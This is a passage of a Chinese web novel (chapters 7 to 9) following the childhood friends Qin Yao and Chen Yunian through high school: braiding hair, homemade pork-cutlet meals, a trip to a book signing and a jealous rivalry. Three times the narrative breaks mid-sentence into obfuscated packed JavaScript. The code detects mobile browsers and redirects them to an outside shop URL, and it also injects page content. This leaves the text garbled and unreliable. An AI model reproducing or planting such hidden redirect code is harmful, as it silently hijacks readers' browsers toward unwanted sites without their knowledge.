陈寓年终于注意到,茶几上放着被拆开来的布洛芬。 他轻声问:“去卧室睡好不好?” 杳杳一动不动的,呼吸平缓,不知是睡着了,还是不想理人。 陈寓年就这么安静地看着她,就当他脸颊发烫,心跳加速地想着要不要把人抱回卧室时,她慢吞吞地坐了起来,眼皮还紧闭着,却恹恹打了个哈欠。 陈寓年松了一口气,牵着她的手把人送回卧室,困倦的女孩子完全不像白日里傲娇冷淡的模样,有点儿呆呆的,却也很信赖地跟着他走。 眼看她一声不吭地就要倒下去睡觉,陈寓年却忽然喊了等等。 秦杳眼皮一动,不太高兴地看着他。 “把头发解开?” 陈寓年还记得她说过,每晚睡觉必须把长发散开,并且好好梳一梳才能睡觉,否则会很不舒服的。 秦杳闭上眼,脑袋微微一侧,没有躺下去,用意十分明显—— 陈寓年很小心地解开女孩子的头发,因为是第一次,他梳得很小心。 杳杳的脑袋圆圆的,很标准,很漂亮,她的长发刚好及肩,乌黑又顺滑,也很香。 她没有刘海,平日里都是露出光洁的额头,但跑步时,会有一些不听话的碎发惹她烦恼。 大概是五年级时,坐在杳杳身后的一个男孩儿总揪她的头发。 对方家长解释是因为喜欢她,才会这样捉弄的,可杳杳很不高兴。 陈寓年也不高兴。 喜欢的话,为什么要去捉弄,去伤害呢? 喜欢明明应该是珍视的。 女孩子顺滑柔软的长发在他的手心,他却不敢用力,动作很轻很轻,渐渐的,他开始因为多年前揪杳杳头发的男孩翻旧账生气—— 他有病吧! 秦杳根本不知道身后这人在想什么,昏昏欲睡,脑袋差点倒下去。 陈寓年及时扶稳她,想到她其实挺喜欢那种鱼骨辫啊,各种漂亮小辫子的,只是她弄不好,常常捣鼓着,就把自己折腾不耐烦了,于是开始生气不想理人。 但她又觉得自己都十多岁了,不能总麻烦妈妈。 他心里有个念头越来越深,盯着女孩子的侧脸,试探性道:“杳杳。” 她眼皮一动,陈寓年接着说:“以后我帮你梳头发好不好?” 秦杳没睁眼,困倦地吐出几个字:“你又不会。” “我可以学。” 见她不说话,他又为自己争取着:“我很轻的,不会弄疼你的,杳杳,好不好?” 秦杳困得不行,就当陈寓年以为她要拒绝时,他的手背被人挠了两下—— 同意。 7. 07 初二升初三的这一年过得很快。 中考结束,刚放假那会儿,秦杳还觉得这漫长的假期好无趣,可直至最后一天,回头望去,除了聒噪的蝉鸣,慢悠悠交错的斑驳光影都仿佛是他们成长留下的岁月。 他们三人,总是从蓊蓊郁郁的黄桷树下走过,手里拿着冰棍儿,瞧见肥嘟嘟的流浪猫,还会一起蹲着逗弄。 上钢琴课,陈寓年缠着她打视频,美名其曰想感受艺术。可下课后,她发现镜头里的人竟趴着睡着了,男生闭着的眼睫毛很长,让她想要揪一根。 她开始预习高中的知识,陈寓年最初还挺积极的和她一起学,渐渐的,他像个多动症小孩儿,一会儿切了盘水果,一会儿挠挠头,又或者是给她梳辫子。 好在没有打扰她,秦杳不理人,他也能安静地趴在那看她,也不觉得无聊,看着看着,就睡着了。 秦杳恍惚意识到,只是短短两个月而已啊,怎么她的世界里哪哪都是陈寓年的痕迹! 比如她发现自己长高了,正高兴呢,他站到她面前,欠欠地比划了下两人之间的身高差—— 嘿嘿,他也长高了! 秦杳气得踹了他一脚,这人又讨好地低下头哄她:“杳杳,我可以一直低头和你说话,你想让我蹲下也行。” 他大部分时候,都是这样黏人的。 不过在七月份的时候,陈寓年去剪了个头发,本来还畅想着剪完发型他要闪亮登场,结果就是笑着进去面无表情地出来,秦杳还没忍住笑出了声。 其实也不丑,就是显得他不太聪明。 他已经够伤心的了,见她笑,忽然站着不肯走了,黑亮的眼眸幽怨看着她,全身上下都写着—— 你要是嘲笑我我就生气!我就不!走!了! 秦杳习惯了他时不时地撒娇,可这样子还是第一次。 两人大眼瞪小眼许久,她面无表情的,让陈寓年心里发虚,正想认错,她忽然伸出手,就像童话故事里王子邀请公主—— 不对。 是公主邀请玻璃心,虽然挺作但其实还蛮帅的小王子。 秦杳那天心情不错,也乐意惯着他,她微微扬着脸,慢悠悠地威胁:“再不走,我今天就不和你说话了。” 陈寓年毫不犹豫地把手搭在了她的手心,却受宠若惊地瞥了她好几眼,试探性地问:“杳杳,你刚才在哄我啊。” 秦杳瞥了他一眼,男生脸上的悲伤早就消失得一干二净,雀跃着不知道在开心什么:“但今天只剩下三个小时了哦,你是不是舍不得和我冷战才会这么说的。” “.....” 不同于儿时她捡到的小可怜,他渐渐养好了病恹的身体,如今的陈寓年总是笑着的,他阳光,性格开朗,虽然偶尔会有点矫情,会作,会撒娇,但秦杳总能在他身上看到一个词—— 纯粹。 意气风发,又不失纯粹而干净的少年气。 在高中开学前,她和陈寓年去探望了戚阿姨,这是除了他们两人,没有别人知道的秘密。 戚阿姨,便是当年在医院将陈寓年带走的人。 她在父母眼中,就是人贩子的存在,即使她当年没伤害陈寓年,蒋梦溪夫妇对她也是恨之入骨。 陈寓年知道父母不会让他去见阿姨的,于是自己悄悄去,却没想到被秦杳发现了。 他说,戚阿姨不会伤害他。 秦杳其实还有很多的疑惑,比如—— 你和戚阿姨之间到底发生了什么,她为什么会带走你,又选择放你回来? 你既然能安然无事地回来,你既然知道自己的家在哪,又为什么不回家,而是偷偷地躲起来,偷偷地哭。 但这些,秦杳都没有问出口。每个人都有自己的秘密,她想,如果陈寓年愿意,一定会告诉她的。 于是每一年,她都会陪着他偷偷去探望戚阿姨,而秦杳也发现他说的没错,戚阿姨不是个坏人,却是个可怜人。 他们陪戚阿姨聊了很久,再出来时,陈寓年的情绪还有些低落。 两人慢悠悠地走回家,他还是伤春悲秋的模样,过了好半晌,忽然问:“杳杳,你觉得我们能活到多少岁?” 秦杳很认真地想着这个问题:“不知道,但我明白,无论多少岁,每一天,我都会好好地去活。” 陈寓年轻轻吸了下鼻子:“杳杳,你就是个鸡汤大师。” 说着,他仰头四十五度,终于把眼泪憋回去。 只是,秦杳又被他牵住了手。 明明个子已经比她高很多了,可这么安静看着她的眼里,似乎还有碎碎的水光,让人不忍心拒绝。 “你能不能牵着我走,我今天有点难受。” 随着长大,他们其实已经很少会牵手了,最多就是他撒娇求她的时候会黏上来。 但秦杳发现,自己竟没办法拒绝他。 她答应后,陈寓年先是试探性地牵住女孩子的手指,真的很柔软。 见她没有反感,他得寸进尺地往上握得更紧了些,还黏黏糊糊地贴近她。 “马上要高中了,你紧张吗?” 学霸向来没有因为成绩而发愁过:“高一的内容很简单的,怕什么?” “....我是觉得要到新的环境,我有点内向,你知道的。” “......” 秦杳不知道,她只知道,这大狗依人,大夏天地黏着她,都不嫌热吗? “不热啊,而且等会儿就要洗澡,难道你觉得我臭吗?我很香的,舒肤佳的皂香都快成为我的体香了。” 他黑亮的眸子一瞬不瞬地盯着她,大有一副你敢说我臭我就闹给你看的意思。 秦杳推开他黏过来的脑袋:“我热!都出汗了。” “那我换只手。” “......” “对了,你说我们高中能不能在一个班?小学没做成同桌,初中不在一个班,高中总能让我实现愿望了吧.....” “还有,你竞赛准备的怎么样了,下次我陪你去好不好?” 不同于这条有尽头的路,他像是总有说不完的话碎碎念个不停,女孩儿捂了捂耳朵,忍无可忍地让他闭嘴。 “连说话都不让我说了吗?要是上了高中,有别人勾搭你,你是不是更不愿意理我了。杳杳,是你说要我跟着你的。” “......” “杳杳.....” “......” - 高中开学,令陈寓年绝望的是,他和杳杳果然不在一个班。 但陈嘉弋,还有严芯都和杳杳在同一个班。 他羡慕又嫉妒,凭什么就他一个人被排外了! 而上了高中,他也没办法肆无忌惮地在下课间去找人,老师才不管你们是不是一起长大,男生女生就是不能并肩走! 偶尔,他借着灌水的机会路过,只为了看她一眼。 刚开学的兴奋很快在课程的重压下消失得一干二净,秦杳是第一名考进来的,期间她出去参加竞赛都没有影响成绩,平时也很听话,直接成了各科老师的心头肉。 好在年末的文艺晚会让大家有了喘息的时间,陈寓年有演出,他自弹自唱了一首当时超火的《童话》,没想到真的出圈了—— 一个极帅的酷哥,弹吉他时,昏暗的灯光笼罩,男生微微垂着眼,嗓音缓缓撩人,浑身上下透着点忧郁文艺的气质,可是结束后,他弯腰和大家道谢,笑容明朗—— 还有人看到,他小跑着到了高一(2)班的位置,半蹲在一个女生面前,隔着老远都能看到他的笑,也不知在开心什么。 什么忧郁帅哥啊,分明是个好帅,好阳光,好有少年感的酷哥。 因为陈寓年,也有人知道了他的双胞胎弟弟陈嘉弋。 说实话,两人长得并不是很像,陈嘉弋的容貌其实也挺不错的,只是平时带着黑框眼镜,典型的高冷学霸模样。 下课后,严芯转过身,好奇地问杳杳:“他们小时候长得像吗?” 秦杳仔细想了想:“不像。” 陈寓年从小到大就是爱哭又爱笑的单纯模样,笑起来时却也很漂亮。 而陈嘉弋也是,从小就是面无表情一板一眼的,像个人机似的。 一个没头脑,一个不高兴。 严芯双手托脸:“他俩最近老是上表白墙哎。” 秦杳低头看题,敷衍地嗯嗯嗯嗯。 严芯戳戳她的脸:“就不怕你的小狗被人抢走了?” 秦杳茫然地抬起眼,反应过来她说的小狗是谁。 “他不会的。” 她不是觉得别人抢不走他,看了眼题目把作业翻面,才缓缓道:“陈年年很作很幼稚的,应该没人受得了他。” 严芯恨铁不成钢,一巴掌拍在她的作业上:“脸在就是王牌在,管他幼不幼稚,说不定有的人就是和你一样喜欢幼稚的呢。” 秦杳:“?” “更何况现在你俩还不在一个班,谁知道他会不会和别人走多近,或者偷偷干点什么,你还不管管——” 秦杳被她的话砸得脑袋发懵,就这么无辜眨了眨眼,想说点什么,她同桌刚好回来,听了一耳朵两人说的话,加入了话题—— “陈寓年?他在食堂做炸猪排盖饭呢。” “猪、猪排饭?”严芯懵了,下意识地看向秦杳,她也一脸茫然。 同桌眨巴着眼昂了一声:“然后被教导主任抓住了,走之前我还听见他说,带他走行,能不能放过他的猪排。” “......” 严芯艰难地处理完大脑收集到的信息,问秦杳:“陈寓年未来的职业规划是新东方大厨?” “......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882867|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦杳也不知情,上课铃响,刚好上完这节就能吃午饭了,因为同桌提起的猪排饭,她肚子咕噜了两声。 下课后,陈嘉弋喊她。 “他等会儿过来找你。” 拖堂拖的有点久,她饿得没什么胃口,点头应下了,却没想到陈嘉弋也没走。 严芯和别的女孩子去吃饭了,教室里瞬间安静,她写了一会儿作业,后门被人推开,陈寓年亲昵地喊她—— “秦杳杳同学,你的炸猪排盖饭到咯!” 她茫然地回头看去,只见这位在表白墙霸屏的帅哥两手都提着个袋子,光是站在那,就蛮多夺目的。 他把一盒给了陈嘉弋,拎着另一袋坐到杳杳前桌的位置,打开后,教室里是扑鼻的香味,秦杳的肚子瞬间咕噜了两声,陈寓年显然听见了,轻笑了一声,“饿了吧,当当当!香喷喷的炸猪排盖饭,你不是说想吃么....” 前两天,她的确随口说了句好想吃猪排盖饭。 秦杳盯着他,午后的阳光刚好落在他俊朗的眉眼间,她莫名瞧出了几分温柔。 陈寓年把叉子送到她手里,秦杳回过神,讷讷地问:“哪来的?点外卖了?” 他点点头,秦杳看上去有点不大高兴。 在她生气前,陈寓年解释:“我们班有个同学请半天假,正好中午要过来,我拜托他买的。” 秦杳狐疑地看着他,咬了一口香香脆脆的炸猪排,才提起今天听见的事:“你去食堂做猪排饭?” 陈寓年也不意外她会知道,解释的时候,还心虚瞥着她:“你前段时间不是一直吃不好么,我想试试开小灶。” 学校的食堂贴着“粒粒皆辛苦”的横幅,做出来的菜却一个比一个奇葩难吃,前段时间更是推出了什么西红柿炒月饼,让大家好一顿吐槽。 有时拖堂,赶去食堂已经没什么菜了,偏偏食堂阿姨的手还抖得跟筛子似的。 杳杳吃不好就会不开心,她也不像小时候那样爱吃零食,这几个月,她瘦了很多。 陈寓年费了好大的力气,终于求食堂阿姨答应让他掌勺,结果半路杀出个教导主任,把他带走也就算了,还把他的炸猪排给私吞了。 秦杳听完他说的,忽然觉得这冬日的阳光也挺烈的,烧着她的一颗心都暖得一塌糊涂。 炸猪排很好吃,可她却像失去了味觉般,温吞嚼完,问他:“那主任怎么放你走了?” 陈寓年正把她不爱吃的小番茄挑出来,闻言直说:“他要去吃饭了呗。” 这群老师,有个单独不需要排队的食堂,菜得质量比他们都要好,自己吃得满足,又背着手去学生处食堂转,一口一个不要浪费粮食,真是不公。 幸好他早料到自己的猪排肯定没救了,便给同学发了消息。 秦杳盯着他,忽然冒出一句笨蛋。 陈寓年却只在乎她吃得好不好,会不会胃疼:“这家还可以吗?” 他们很少点外卖,大部分时候都是自己做,他和陈嘉弋倒是没什么关系,就是担心她。 秦杳点头,咬了一大口猪排,脸颊鼓鼓的:“好吃。” 陈寓年专心看着她吃,只觉得她吃东西真可爱。 陈嘉弋早早吃完了,完全不管他俩,又跟个人机似的捧着书开始看,秦杳有时候怀疑,他吃东西只是为了活着,没有什么能比得上手中的书。 “就这一次,不要想去食堂做,也不要点外卖了。” “嗯?” 触上他明显不愿意的目光,秦杳也很执拗:“我没那么娇贵的。” 他去食堂做,那他上课该怎么办? 点外卖就更不用说了,被抓到是要被扣分的。 身边的其他同学都是一样的,没必要只有她搞特例。 “你又不是别人。” 他嘟囔了一句,秦杳依旧不松口。 两人僵持许久,最终还是他不情不愿地妥协:“你说怎么不能从天而降一个富二代,把学校的食堂给承包了呢。” “......” “但我们可以给校长写投诉信反馈。”他又起了个点子,秦杳想了想,虽然不知道有没有成效,却觉得可以试试。 两人商讨了半天,在午休开始前,他才离去。 晚上回到家,父母还在加班,秦杳去陈寓年家吃饭。 他说过,一定要尝尝他亲自做的炸猪排盖饭,学了好久的,绝对和外面不一样。 明明中午已经吃过猪排盖饭了,她却依然非常期待。 等陈寓年将一大碗的猪排饭端到了她的面前,秦杳终于知道他所说的不一样是什么—— 除了标配的蔬菜,油亮而金灿灿的猪排上,被人用酱汁画了一只特别可爱的小猪佩奇。 在旁边,还有个戴着厨师帽,笑嘻嘻的小狗,又丑又萌,像他,却也让她舍不得吃。 8. 08 陈寓年忽然开始对美食感兴趣,每天满脑子都是杳杳、学习、健身、观看发型教程、捣鼓美食...... 不同于给陈嘉弋吃的边角料套餐,给杳杳准备的,简直是各种儿童套餐—— 米饭要捏成小动物造型的,搭配紫菜啊,各种酱汁之类的,小猫寿司,企鹅便当,还有盖着鸡蛋被子的小女孩儿,每天像是在开盲盒。 秦杳表面上嘴硬说她才不要这么幼稚的晚餐,可每次看到的一刹那,她眨了眨眼,心里疯狂冒着爱心—— 好萌好萌好萌好萌好可爱好可爱要晕了怎么可以这么可爱..... 不只是她,就连付韵秋和蒋梦溪都羡慕了。 秦朗南酸酸地撇嘴:“就会这些花里胡哨的东西。” 付韵秋难得没有站在他这边,拿着手机拍了几张照,故意醋他:“你年龄大当然不懂这些,青梅竹马就是好啊,我以前怎么没遇到个能给我做小猪盖被的竹马呢。” “......” 蒋梦溪和陈柏良倒是心大,觉得他喜欢捣鼓这些也挺好。 秦杳虽然很喜欢,但也担心他会耽误学业,和他约法三章,只有周日的时候可以研究美食。 陈寓年当然听她的话,还喜滋滋地觉得杳杳管着他真好。 陈嘉弋咬了一口削剩下来的胡萝卜,翻了个白眼。 - 上了高中,他们依旧每天一起上下学。 秦杳学习好,人长得漂亮,还上过电视台,在学校里其实还蛮出名的。 荣誉墙上总是贴着她的照片,女孩子笑容很淡,漂亮的杏眼静静注视着镜头,而旁边的荣誉简直快要写不下了。 陈寓年每天都会路过这里,然后双手插兜仔仔细细看一会儿,随后满意又与有荣焉地点点头。 边上有其他同学停下来看,他还会竖起耳朵偷听有没有人夸秦杳,要是有,他会特别自来熟地附和:“是啊是啊,她超厉害的对不对。” 到了晚上放学,他将这件事告诉秦杳,简直比她还开心。 秦杳已经比幼时的自己从容淡定很多,她一直都明白,自己很好,很聪明,很优秀,所以值得各种称赞。 陈寓年偶尔会故意戳破她的偶像包袱,欠欠的,非要逗得她笑出来。 秦杳气急败坏追着他揍,到后来冷脸了,他又摇摇尾巴主动低下头求原谅。 要是她还不理人,他会黏黏糊糊地抱着她的手臂,那么高的男生,大狗依人似的靠着她,拖着尾音撒娇求着:“原谅我吧杳杳,你不理我,我真的会伤心的,你舍得我这样一个大帅哥难过吗?” “......” 大帅哥并没有得到原谅。 早读才刚开始,他就眼巴巴地等着秦杳来班级检查。 她是纪检部的干部,走进来的时候,微微扬着下颌,不带一丝笑容地扫视着整个班级,陈寓年却忍不住想弯唇,因为他觉得杳杳板着脸的样子有点可爱。 见她看过来,他孔雀开屏似的托着脸笑,手里捏着准备和她道歉的小纸条,却没想到秦杳从另一侧走,倒是同为检查的陈嘉弋,面无表情,又刚正不阿地走过去,用笔敲了敲他的桌子警告:“这位同学,请你大声朗读,不要干其他的事儿。” “......” 陈寓年只能将纸条塞给陈嘉弋代为转交,直到大课间,秦杳才有时间拆开来看。 男生画了一只哭泣跪地求饶的小狗,她不自觉地漾起浅浅的笑意,真傻。 秦杳不生气了,周末,陈寓年花了两个小时洗头洗澡捣鼓发型,陈嘉弋无语地看着他:“写个作业而已,你开什么屏?” 陈寓年和这个满脑子只有书的人机没话可说,他心情愉悦地拿起作业,到了杳杳家才发现...还有其他人。 严芯眨巴着眼,脑袋靠在秦杳肩上,无辜地说了声嗨。 他这才想起来秦杳昨天说过,她会一起过来写作业的。 陈寓年的心“啪”地一下掉了下去,眼看陈嘉弋走在他前面,他顿时冲了过去,飞快地坐到了秦杳的另一侧。 陈嘉弋面无表情地睨了他一眼:“神经。” 大家写作业都挺认真的,就连陈寓年也很安分。 直到陈嘉弋拿出一道竞赛题请教秦杳,她看了一眼,拿着笔在草稿纸上给他讲解。 严芯也参加过竞赛,咬着水果和他们一起讨论,唯独陈寓年看得头疼,他干脆托脸看着秦杳发呆.... 叽里咕噜说的什么东西。 这世上怎么会有杳杳这样聪明的存在..... 学习结束,他们聊起了一本最近蛮火的小说。 陈寓年又听不懂,但秦杳似乎还蛮喜欢的,而且还打算收集几套。 回去以后,他搜索了这本书,却瞧见该书的作者也正好要开签售会了,时间在秦杳生日的前一天。 他琢磨了很久怎么参加签售会,抢到票的那一刻,他长长舒了一口气,低头一看,手心出了一层汗意。 真是怪紧张的。 不过,只要想到杳杳拿到书惊喜的那一刻,他身体懒懒往后一靠,捂着胸膛,发现心跳鼓动的频率愈发快了。 签售会在另一座城市,为了惊喜,陈寓年没有告诉任何一个人,买了早上六点的高铁,坐了三个小时才到。 那场所不是很大,陈寓年看到排满的队伍,直接傻眼了。 后来他和另一个读者聊起来才知道,这作者实在太火,主办方黑心,现场额外放了黄牛号,因此直接爆满。 现场也没有坐的位置,只能站着排队等。 这期间杳杳给他发消息,他找了个借口回答,这时候,他的身体其实有点不舒服了。 人太多,空气逼仄,他身上也一直在出汗,甚至有点喘不过气,但他一直撑着。 排了几个小时,终于轮到他。 他买了两本,一本给陈嘉弋的,另一本给杳杳的,他原本准备了一大张纸条想拜托作者签,但因为字数有限,他纠结了很久才删掉几句。 作家人非常好,签完之后,陈寓年很感激地向他道谢:“您辛苦了。” 陈寓年赶上回去的高铁,却没有直接坐到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882868|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置上,而是去洗手间吐了一回。 他没什么胃口,抱着怀里两本厚厚的书闭眼休息。 .... 秦杳从便利店走出来,她垂眼看着手机,期间面无表情地咬了一口面包。 去了陈家她才知道,陈寓年还没回来,而陈嘉弋一开始还以为他和她在一起。 秦杳心烦意乱的,目光触及他上一条回复:【我去见个朋友。】 什么朋友这么重要....都能夜不归宿了。 她压根没意识到自己现在的表情透着十足的不高兴,正打字准备给人发消息,余光里,有道熟悉的身影跑了过来。 陈寓年还喘着气,路灯昏暗笼罩,他看向她的眼眸却始终明亮干净:“大晚上的你怎么出来了?” 秦杳却没有回答,而是脸色不太好地牵起他的手,“你手怎么了?” 他迟钝了“啊”了声,下意识地想要缩回去,但她难得态度强硬,看着他的时候也明显是在生气。 “就是不小心摔了下。” 从高铁站下楼梯的时候,可能是低血糖,又或者是一天没吃东西,他眼冒金星不小心从楼梯上栽了下去,应该就是那时候擦伤的。 警务员把他扶到休息室,清醒时已经过了一个小时,所以才回来晚了。 秦杳什么都不顾了,从自己买的零食中拆出一个面包,急急地直接喂到他嘴里,“怎么不饿死你算了,到底是什么朋友,能让你连饭都顾不得吃。” “陈年年我告诉你,长点心眼,别什么人都当朋友——” 陈寓年安安静静地听着她训,嘴里都被塞满,他两腮鼓鼓地嚼嚼嚼,好不容易咽下去了,眼眸亮亮地把书拿了出来—— “当当当!无鹤老师的to签!” 秦杳愣住了。 陈寓年给她看to签的内容,他的手机没电了,问她现在几点了。 秦杳脑袋发懵地拿出手机,还有一个小时到零点,也就到了她的生日。 原本,他是打算第二天再送给她当作惊喜的,但既然碰到了,他也不瞒着。 秦杳看着to签,微微张着唇,却一句话都说不出来。 她当然知道今天是无鹤老师的签售会,甚至因为无良主办方还看到了热搜,很多读者都在指责。 但她没想到,他会去。也没想到,她只是随口说喜欢这套小说而已,他竟当真了。 所以,他来回六个小时,又等了六七个小时,就是为了给她送to签吗。 这个笨蛋,都不累吗。 站了这么久,不知道自己身体不好吗? 她是喜欢那本书,但她喜欢而已,有这么重要吗,值得么? 陈寓年却只是微微弯下腰,视线与她持平,不似平日里那般幼稚,一双乌黑的眼眸仿佛只剩澄澈的温柔:“那你开心吗?” 秦杳只觉得,自己的心在发热,甚至软得一塌糊涂,悸动的心跳先一步替她回答—— “嗯。” 她点头的一刹那,他笑着说:“那就值得。” 你开心,就够了。 9. 09 高二开学的前一天,秦杳这个班长被班主任喊去帮忙。 新学期搬到了新的教学楼,好不容易打扫完,她看着全新的,空荡荡的教室,拿出了放在一边的相机。 这是秦朗南出差回来给她带的礼物,相机拍出来的照片是偏暖调,很有岁月感的胶片风。 这照片令她想到了刚上高一时,最开始,大家的书桌也都是干干净净的,却在不知不觉间堆得满当当的。 她兴致很足,又对着新教学楼外的风景拍了几张,随后佯装成一位专业的摄影师捕捉着校园里的每束光影灿烂,镜头微晃,熟悉的身影闯了进来,也几乎是一瞬间,男生桃花眼笑意舒展,如熠熠春光干净澄澈—— “杳杳!” 秦杳有时候会觉得,根本不能用某个特定的形容词来形容陈寓年。 他大部分时候都是笑盈盈的乐观模样,无论谁请他帮忙,他都会特别友好爽快地答应。 可私底下,他偶尔会很矫情,很玻璃心,新学期拿到语文课本,他做的第一件事往往是翻看那几篇散文故事,看着看着就伤春悲秋,忍不住偷偷抹眼睛。 路边的流浪猫他觉得可怜,碰到年龄大还出来卖东西的爷爷奶奶,他也会心酸。 他常常会臭屁会耍帅,一点儿小事就能开心到尾巴翘上天,可看完一部感人电影,他能低迷地倒在秦杳肩上哭,什么面不面子的,难过到心都绞痛了。 秦杳鬼迷心窍地连着按了好几下快门,陈寓年压根不知道她在想什么,却忽然停下脚步,在距离她两三步的位置,双手插兜,清俊优越的脸微微侧着,他皮肤本就偏白,阳光像是为他渡了一层金灿灿的光,笑意也收了回去,高挑的男生立在那,桃花眼敛着几分沉静,整个人莫名瞧出了几分清冷男神的气质—— 秦杳面无表情地看了他两秒:“你在干嘛?” “哎?” “清冷”男神一秒展露笑容,他微微扬着下颌,唇角也轻翘着,没有走过来,而是换了个双手环抱的姿态,整个人透着点意气风发的得瑟与臭屁:“不是在给我拍照吗?怎么啦,不帅吗?” “.....” 秦杳故意和他作对,“不帅。” “哎——怎么可能!” 他追了上来,脑袋凑过来和她靠在一起看照片,嘴里还嘟嘟囔囔的:“不可能不可能,我可是三百六十五度无死角,怎么拍都应该无敌帅的,绝对不可能,小时候你还夸我漂亮呢,现在就变了是吧——” “喔。” 男生语调忽变,含笑的嗓音也欠嗖嗖的:“原来是相机里有个更漂亮的。” 秦杳一张张地翻照片,正好这张被他看到的,是她的自拍。 他低笑着说:“好吧那我承认,和你比起来我的确不算漂亮,我们杳杳才是三百六十度无死角——” “陈寓年!!” 秦杳享受夸奖是没错,可他的语气,真的好欠!好烦呐! 她忍无可忍追着他,他还特别坏地倒着走,两手比划出相机拍照的手势,半眯着眼,嘴里自动咔擦咔擦的:“你不拍帅哥,那我拍美女总可以了吧,我去——” “真漂亮啊,生气也漂亮。是谁这么漂亮,喔,原来是我们秦杳杳同学。” “....” 秦杳站在原地不走了,陈寓年还以为她生气了,立刻跑了过来,还没说一句话,女孩的眼眸里明明满是笑意,却捏拳一副你完了的模样—— 他撒腿就跑。 两人追着闹了好一会儿,秦杳又被迫给某人拍了照,热得身上出了汗。 回去的路上,陈寓年拿着相机看照片,他心情特别好,除了刚才撒娇让杳杳夸了他几句,还有就是,高二分班,他和杳杳终于在同一个班了!! “新校区,离食堂又远了,到时候会不会吃不上午饭啊。” 他语气雀跃地嘀咕着,秦杳被热得整个人蔫蔫的,敷衍道:“你的关注点会不会太远了。” “不远啊。” 之前给校长写投诉信,没想到真的有了改善,虽然质量好了不少,但如果有班级拖堂,去了以后依旧没什么菜。 “民以食为天啊,不吃饱怎么有力气学习呢。” 树影绰绰,高挑的男生偶尔侧头,偶尔快步上前面对女孩倒着走路,仿佛如儿时那般,从未变过。 - 严芯所想象的“青春”,以为是书中那样浪漫的,朦胧的,又或许是热烈的—— 然而事实却是,大夏天的跑操结束,热得满身是汗,碎发都黏在额间,狼狈喘着气,累个半死,什么青不青春的,她想立刻就地躺平。 青春分明满是烦恼! 消不下去的青春痘让她觉得烦,沉重的学习压力,追不上的成绩令她烦,对未来的迷茫让她烦,中午吃不上饭也让她烦,哪哪都烦,又要跑八百!更烦! 还有她喜欢的人,她都这么主动的了,拽的跟二百五似的装什么装! 她一秒下头,封心锁爱,立誓好好学习用成绩闪瞎别人的眼—— 什么题啊!这么难!! 她生无可恋地把自己埋到作业堆里,直到有人轻轻碰了下她的手。 秦杳嘴里叼着一根巧乐兹,“咔咔咔”地咬咬咬,巧乐兹越缩越短。 严芯叹了声气,接过她递过来的巧乐兹,叼在嘴里,和她一样“咔咔咔”地吃吃吃。 吃完一包巧乐兹,严芯提起她下周要比赛的事:“杳杳,你紧张吗?” 秦杳暑假的时候去配了眼镜,如今依旧觉得戴久了不舒服,她摘了眼镜,回答道:“不啊。” 她从小到大参加过挺多的竞赛,心里素质可稳了。 严芯点点头,她想到小学时,父母总是拿着秦杳来贬低她,和她比,最开始,她是讨厌秦杳的。 可自从秦杳主动教她解题以后,一切都变了,两人竟成了好朋友。 严芯从最开始还有点不服,到后来也逐渐认清一个事实,秦杳啊,就是很聪明,就是天才。 她幽幽叹了声气,余光瞥见偷听的某人,想起一件事,心里坏笑两声,托脸问秦杳:“你真的不喜欢那个萧一彦吗?” 她话音落下的那一刻,有人很不屑地哼了一声,音量不轻不重,刚好她们能听见。 两人回头,陈寓年臭着脸:“他又不是人民币凭什么喜欢他。” 秦杳最近参加了一场比赛,其中的一位竞争者萧一彦也是常年参赛的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882869|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却在有一年输给了她。 而这次他半路加入比赛,看上去似乎挺友好的,完全没有在乎之前被秦杳打败,录节目的时候还主动和她打招呼了—— 萧一彦也算是个帅哥,又是常年露脸的知名人物,节目组当然会抓住热点,把这一幕给录下来了。 播出后,还有人磕cp,什么天才组合,门当户对之类的,陈寓年看到后,真是气个半死,差点跳起把节目组端了。 严芯最喜欢看男生酸溜溜嫉妒的样子,笑眯眯的完全不嫌热闹大:“哟哟哟,你嫉妒了!” 陈寓年双手环抱,克制着把笔掰断的冲动:“我嫉妒他?没我帅没我高,他算什么。” 严芯把自己的小镜子拿来给他照:“你看看,你脸都变形了!” 说罢,她还茶茶地挑拨:“他和杳杳一起比赛哦~” 陈寓年嘁了声,一副高贵冷艳的模样:“说不定下轮就淘汰了,还有,随随便便和女孩子搭话,我看他就不是个好东西。” 他这刻薄的攻击让严芯惊到了:“人家那叫有礼貌!” 陈寓年下意识地看了眼秦杳,也没人问,但他颇有点为自己证明清白的意思:“我就从来不主动和女生讲话,和她们讲话也保持着一定的距离。” 严芯抓到了把柄,比划了他俩前后桌之间的距离:“你现在不就和我近距离讲话么。” 陈寓年还真的顿了顿,思考了两秒,真诚地说:“你昨天不是说你不想做人了吗?” “.......” 